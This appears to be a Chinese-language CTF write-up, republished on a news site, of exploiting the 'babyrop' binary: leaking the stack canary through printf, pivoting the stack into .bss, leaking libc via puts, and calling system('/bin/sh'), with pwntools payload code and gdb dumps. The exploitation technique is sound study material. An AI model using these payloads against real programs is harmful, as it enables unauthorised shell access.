<返回更多

ROP和栈迁移的探究

2021-12-15    星云博创
加入收藏

ROP是一种技巧,我们对execve函数进行拼凑来进行system /bin/sh。栈迁移的特征是溢出0x10个字符,在本次getshell中,还碰到了如何利用printf函数来进行canary的泄露。

ROP+栈迁移

目标:

ROP和栈迁移的探究

 

ROP chain

ROP和栈迁移的探究

 

首先我们:

ROPgadget --binary babyrop

ROP和栈迁移的探究

 

bss段地址:

readelf -S babyrop

ROP和栈迁移的探究

 

找到rdi的地址:

ROP和栈迁移的探究

 

我们用ida查看反汇编,圈中的是出错情况下的处置,我们暂时可以忽略。

我们看到for循环可以输入25个字符,我们先输入0x18个字符,也就是24个字符,然后如果在输入一个字符就可以看到printf函数后面跟着一个%s,且printf函数结束的标志是碰到x00,并且canary的的末尾标志也是x00。

ROP和栈迁移的探究

 

小端存储,我们首先用24个字符a对其他字符空间进行填充,然后用字符'y'把canary中的x00进行覆盖,这样我们就在y这个点时进行recv,之后就可以泄露canary的内容。

具体是这样的:

canary=u64(io.recv(7).rjust(8,'x00'))

然后再用x00对其进行填充:

ROP和栈迁移的探究

 

此题的第二个坑点是在password这里,可以看到这里使用scanf函数来进行接受,所以我们只能填写地址。

ROP和栈迁移的探究

 

可以看到这个地址存储password:

ROP和栈迁移的探究

 

我们进入vuln函数进行查看:

ROP和栈迁移的探究

 

发现是可以多读0x10个字符的,这就是典型的栈迁移了:

gdb.attach(io)
io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
gdb.attach(io)
io.send('a'*0x18+p64(canary)+p64(0x601940)+p64(0x40072e))
gdb.attach(io)

我们在这里下三个断点:

第一个attach代表的是没有迁移之前的,

ROP和栈迁移的探究

 

可以看到RBP和RSP的情况,

ROP和栈迁移的探究

 

可以看到现在的RBP已经变为0x601928。

这里插入一下POP的汇编形式:

mov esp,ebp
add $8,esp

首先我们把ebp的值给esp,然后ebp+8,因为这里是64位程序。

这里我们再看下一个attach:

ROP和栈迁移的探究

 

可以看到新栈已经建立成功了。

然后就是经典的rop了,寻找libc基址:

io.send(p64(canary)+p64(0x601940)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))
#p64(0x601940) is fill byte
libc_base=u64(io.recvuntil("x7f")[-6:].ljust(8,"x00"))-libc.sym['puts']
system=libc_base+libc.sym['system']
hh=libc_base+libc.search('/bin/sh').next()

最后我们开始写利用新栈:

system bin/sh
ROP和栈迁移的探究

 


ROP和栈迁移的探究

 

可以看到我们就拿到shell了。

一点解释

栈迁移需要注意的点就是:

ROP和栈迁移的探究

 

io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
io.send('a'*0x18+p64(canary)+p64(0x601940)+p64(0x40072e))

假如我们栈空间提升0x10:

ROP和栈迁移的探究

 

我们需要先把buf的内容填充,然后就到了rsp,pop 指令的意思是把rsp地址的内容给rip。

ROP和栈迁移的探究

 


ROP和栈迁移的探究

 

可以看到此时栈的情况是这样的:

ROP和栈迁移的探究

 

0x40072e是ret的地址:

ROP和栈迁移的探究

 

0x0000000000400744是返回地址:

ROP和栈迁移的探究

 

0xcd95d1462e82fe00是canary的值

0x601950是填充字

0x400913是rdi的值,也就是exec函数的的第一个参数。

现在的栈空间是这样的:

ROP和栈迁移的探究

 

然后就开始rop

如果我们直接提升0x20的空间就不会有这种事情了,我们就可以直接rdi+rop:

io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
io.send('a'*0x18+p64(canary)+p64(0x601950)+p64(0x40072e))
io.send(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))

但是这个rbp和rsp的空间是要试着找的,如果bss段有不能覆盖的地址,就会报错。

ROP和栈迁移的探究

 

io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
io.send('a'*0x18+p64(canary)+p64(0x601950)+p64(0x40072e))
io.send(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))
ROP和栈迁移的探究

 

这样也能够getshell。

另一点解释

ROP和栈迁移的探究

 

call read@plt之前栈中的情况:

ROP和栈迁移的探究

 

我们s步入,可以发现rbp和rsp的值已经改变了:

ROP和栈迁移的探究

 

0x601930:  0x0000000000400744  0x0000000000000000
0x601940:  0x0000000000000000  0x0000000000000000
0x601950:  0x0000000000000000  0x0000000000000000
0x0000000000400744是执行完read函数要去的地方,也就是nop(这个是无所谓的)
ROP和栈迁移的探究

 

可以看到在pop 和ret之前rbp和rsp栈空间又发生了改变,而且此时rip指向了rdi的地址:

ROP和栈迁移的探究

 

红色框是栈空间的大小,可以看到此时存放的两个地址的意义是:

p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))组成了rop。

下一步我们执行pop+ret就跳到了rdi所指在的地方,然后利用rop进行system /bin/sh。

声明:本站部分内容来自互联网,如有版权侵犯或其他问题请与我们联系,我们将立即删除或处理。
▍相关推荐
更多资讯 >>>